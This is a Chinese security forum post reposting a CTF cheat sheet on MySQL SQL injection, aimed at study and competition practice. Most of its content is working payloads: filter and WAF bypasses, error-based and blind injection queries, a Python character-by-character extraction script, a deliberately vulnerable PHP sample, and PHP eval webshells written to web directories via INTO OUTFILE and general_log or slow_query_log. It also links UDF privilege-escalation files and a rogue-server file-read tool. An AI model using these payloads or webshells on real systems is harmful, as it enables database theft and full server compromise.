安全矩阵

 找回密码
 立即注册
搜索
查看: 3995|回复: 0

CTF考点总结-sql注入篇

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-7-24 15:36:29 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-7-24 15:45 编辑

原文链接:CTF考点总结-sql注入篇

  来自Kagi师傅(终于见到了CTF的职业选手了)总结,我的CTF生涯还有很多个6年(未开始)

本文字数4000+,阅读时间约15分钟。

   
整理下sql注入相关知识,查漏补缺(长期更新)

常用语句及知识information_schema包含了大量有用的信息,例如下图


mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码
  1. #sql
  2. 当前用户:select user()
  3. 数据库版本:select version() , select @@version
  4. 数据库名:select database()
  5. 操作系统:select @@version_compile_os
  6. 所有变量:show variables
  7. 单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
  8. 爆字段数:order by 1... ,group by 1...
  9. 查库名:select group_concat(schema_name) from information_schema.schemata
  10. 查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
  11. 查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
  12. 读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
  13. 读文件:select load_file('/etc/passwd')
  14. 写文件:select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过
复制代码
常用函数
  1. #sql
  2. 截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
  3. 字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
  4. 多行拼接:group_concat //eg: select group_concat(user) from mysql.user
  5. 时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等
  6. 编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)
  7. 布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...
复制代码

所有函数及运算符:https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html

绕过方法绕过空格
  1. #sql
  2. %20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)
复制代码
其中%09需要php环境,%0a为\n  /!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1


绕过单引号
  1. sql
  2. \转义、宽字节%df%27,%bf%27、十六进制绕过
复制代码
注释方法
  1. sql
  2. /**/、--+、#、;%00、union /*!select*/(mysql独有)
复制代码
select from union select绕过
  1. sql
  2. select-1,user from mysql.user
  3. select@1,user from mysql.user
  4. select~1,user from mysql.user
  5. select`user`,user from mysql.user
  6. select(1),user from mysql.user
  7. select'1',user from mysql.user
  8. select+1,user from mysql.user

  9. select 1,1e2from mysql.user
  10. select 1,.9from mysql.user
  11. select 1``from mysql.user
  12. select 1''from mysql.user
  13. select 1'123'from mysql.user
  14. select '1'''from mysql.user
  15. select 1""from mysql.user
  16. select "1"""from mysql.user

  17. select 1 from mysql.user where user=.1union select 1
  18. select 1 from mysql.user where user=1e1union select 1
  19. select 1 union--%0aselect 2
  20. select 1 union--%0e%0aselect 2
  21. select 1 union all select 2
复制代码
set绕过
  1. sql
  2. select '123' into @a
  3. select @a:='123'
  4. select 1 from mysql.user where @a:='123'
  5. do @a:='123'
复制代码
绕过(点绕过)//select,from等关键字绕过都可以使用
  1. select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'
  2. set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a;
复制代码
information_schema绕过:
  1. select table_name from mysql.innodb_index_stats 表名
  2. select database_name from mysql.innodb_index_stats 库名
  3. select table_name from mysql.innodb_table_stats 表名
  4. select database_name from mysql.innodb_table_stats 库名
复制代码
bypass information_schema   
https://www.anquanke.com/post/id/193512

逗号绕过
  1. select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)
  2. select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)
复制代码

奇技淫巧
按注入方法分类
数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...
按语句分类
select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类
回显注入、布尔注入、时间注入、报错注入...

无字段名,同表注入
(1)别名,子查询
  1. select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1
复制代码
(2)堆叠
  1. select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c
复制代码

order by排序注入
首先假设有这样一张表


有以下代码
  1. <?php
  2. $servername = "localhost";
  3. $username = "root";
  4. $password = "";
  5. $dbname = "ctf";
  6. $conn = new mysqli($servername, $username, $password, $dbname);


  7. function check($s){
  8. if(preg_match("/\)|\(|_|\.|\|/i",$s))  #()_.|
  9. {
  10. die('hack!');
  11. }
  12. }
  13. $username=$_GET['username'];
  14. check($username);


  15. $sql = "select * from user where username='$username'";
  16. $result = $conn->query($sql);
  17. if ($result->num_rows > 0) {
  18. if($row = $result->fetch_assoc()) {
  19. echo "username: " . $row["username"]."<br>";
  20. }
  21. }
  22. $conn->close();
  23. ?>
复制代码

因为()_.|被过滤,所以我们无法从information_schema和函数获取信息。
现在我们要获取admin的flag的hash,但是我们不知道字段名,且没有.不能使用别名或子查询的方式获取,可以使用这样的方法。
下面正式开始
首先我们知道order by 可以排序,所以利用这一点可以进行字符串比较,如下就是order by 对admin进行呢比较我们现在就已经确定前两个字母为ad了




同理



现在我们知道admin的flag第一个字符为7了,继续






现在我们知道,前两个字符为79了 //9的ascii为57而:的ascii为58,所以:比9大

以此我们可以写出以下脚本

  1. import requests

  2. url= 'http://127.0.0.1/mysql.php'
  3. flag=''
  4. for i in range(50):
  5. for j in range(48,128):
  6. payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))
  7. r=requests.get(url+payload).text
  8. print j
  9. if 'admin' in r:
  10. flag+=chr(j-1)
  11. print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1
  12. break
复制代码

order by,desc,asc注入
正常的order语句,因为查询两列,所以order by 1,3报错


但是这样就不报错了,甚至不会大整数溢出,但是会产生延时






因为延时注入,会对每一行都执行一次,结果就会变得很慢,所以也可以采用其他的方法。

方法:使用like,regexp等来进行报错注入






payload
  1. sql
  2. select user,host from mysql.user order by 1,(1 regexp if((1=0),1,0x00));
  3. select user,host from mysql.user order by 1,(1 like if((1=0),1,(select 1+~0)));
复制代码

## desc注入
用法:desc mysql.user 等同于show columns from mysql.user




怎么利用呢?
漏洞代码:


攻击方法:
  1. payload:  ?table=note`#` where (select database()='d')#`
  2. $sql1 => desc `cms_note`#` where (select database()='d')#`
  3. $sql2 => select * from cms_note`#` where (select database()='d')#` where id =
复制代码


floor报错注入
原理:
rand(),随机一个0-1的数


rand(0)即为rand函数设定种子为0,所以它的值是固定的



在表中表现为这样



floor()为向下取整,所以floor(rand(0)*2)即




count:https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html
count为统计行数,当count与group by 一起使用时会新建一个虚拟表,遍历查询结果,将重
将重复数据进行计数,如果结果不存在于虚拟表内,则添加进虚拟表,count数+1。

如图所示


一共652行
使用group by后,会统计每个字段出现的次数


所以 select count() from mysql.user group by floor(rand(0)2) 就是这样一个流程
floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...

首先产生一个空的虚拟表

查询第一行,第一次执行floor(rand(0)2)结果为0,此时虚拟表为空,所以直接插入,插入时会再次执行floor(rand(0)2),该次为第二次所以实际插入key值为1,count为1
查询第二行,第三次执行floor(rand(0)*2)结果为1,虚拟表中已存在1,所以key值1的count+1,
查询第三行,第四次执行floor(rand(0)2)结果为0,虚拟表中不存在0,所以插入,插入时第五次执行floor(rand(0)2),该次结果为1,所以插入的key为1,但是key已经存在,所以报错Duplicate entry '1' for key '<group_key>'
所以该报错方式的关键为count、group by、rand。floor只是起到一个辅助作用


payload:
  1. select count(*),concat(user(),floor(rand(0)*2))x from mysql.user group by x
  2. select count(*) from mysql.user group by concat(user(),floor(rand(0)*2))
  3. select count(*),concat(user(),floor(rand(0)*2)) from mysql.user group by 2
复制代码

xpath报错注入
原理比较简单
  1. updatexml (XML_document, XPath_string, new_value);
  2. extractvalue(XML_document, XPath_string)
复制代码

因为我们输入的第二个参数不符合xpath格式自然报错,xpath_string最大长度为32位,所以报错长度也为32位
(1)extractvalue():
  1. select extractvalue(1,concat(0x7e,(select user()),0x7e));
复制代码
(2)updatexml():
  1. select updatexml(1,concat(0x7e,(select user()),0x7e),1);
复制代码
大整数溢出
  1. select 1+~0
  2. select 2*~0
  3. select pow(2,1024)
复制代码



name_const列名重复报错
  1. select * from (select name_const(version(),1),name_const(version(),1))x //只能使用常量和普通字符串
复制代码


jion列名重复报错
  1. select * from(select a.1 from mysql.user a join mysql.user b)c
复制代码


rlike,regexp正则匹配报错:

rlike,regexp
  1. select 1 regexp 0x00
  2. select 1 regexp ''
  3. select 1 rlike 0x00
复制代码




其他报错注入
以下均摘自《代码审计:企业级Web代码安全架构》一书
mysql低版本以下可用的报错

  1. select geometrycollection((select * from(select * from(select user())a)b));

  2. select multipoint((select * from(select * from(select user())a)b));

  3. select polygon((select * from(select * from(select user())a)b));

  4. select multipolygon((select * from(select * from(select user())a)b));

  5. select linestring((select * from(select * from(select user())a)b));

  6. select multilinestring((select * from(select * from(select user())a)b));

  7. select exp(~(select * from(select user())a));
复制代码

写webshell

(1) 直接写
查看可写目录范围,默认为空即不可写不可读
  1. select @@secure_file_priv
复制代码
写入
  1. select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php'
复制代码
(2) 日志写webshell
  1. MySQL日志文件系统的组成:
  2. 错误日志log_error:记录启动、运行或停止mysqld时出现的问题。
  3. 通用日志general_log:记录建立的客户端连接和执行的语句。
  4. 更新日志:记录更改数据的语句。该日志在MySQL 5.1中已不再使用。
  5. 二进制日志:记录所有更改数据的语句。还用于复制。
  6. 慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。
  7. Innodb日志:innodb redolog
复制代码
以下举例两种
  1. show global variables like "%general%";                 #查看general文件配置情况
  2. set global general_log='on';                            #开启日志记录
  3. set global general_log_file='C:/phpstudy/WWW/shell.php';
  4. select '<?php @eval($_POST[shell]); ?>';                #日志文件导出指定目录
  5. set global general_log=off;                             #关闭记录
复制代码
  1. show variables like '%slow%';                           #慢查询日志
  2. set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
  3. set GLOBAL slow_query_log=on;
  4. /*set GLOBAL log_queries_not_using_indexes=on;
  5. show variables like '%log%';*/
  6. select '<?php phpinfo();?>' from mysql.user where sleep(10);
复制代码

udf提权
大致流程如下,将udf文件windows为dll文件 ,linux为so文件导入服务器mysql插件目录即可。
可以自己写一些udf文件来编译。
推荐sqlmap提供的udf文件
https://github.com/sqlmapproject/sqlmap/tree/master/data/udf
因为udf文件较大,详细点击这里
https://files.cnblogs.com/files/kagari/udf.js
mysql任意文件读漏洞
原理:
  • mysql客户端连接服务端时,服务端可以让客户端执行sql语句,


所以伪造一个服务端,让客户端连接并执行load data local infile即可任意文件读。
这里推荐下 ev0A大佬的工具:https://github.com/ev0A/Mysqlist
例子: phpmyadmin开启远程登陆后就会出现该漏洞
格式化字符串漏洞与sql注入
sprintf
  1. //?user=%1$\&pass=%20or%201=1%23
  2. <?php
  3. $user=addslashes($_GET['user']);
  4. $pass=addslashes($_GET['pass']);
  5. $sql = "select * from user where username = '$user' and password='%s';";
  6. echo sprintf( $sql, $pass) ;
  7. //select * from user where username = '\' and password=' or 1=1#';
  8. ?>
复制代码


https://www.cnblogs.com/test404/p/7821884.html
参考文章:
https://p0sec.net/index.php/archives/117/
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
https://www.cnblogs.com/sfriend/p/11365999.html
https://www.cnblogs.com/csyxf/p/10241456.html
https://www.cnblogs.com/wintrysec/p/10875242.html
https://paper.seebug.org/218/




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 00:29 , Processed in 0.023767 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表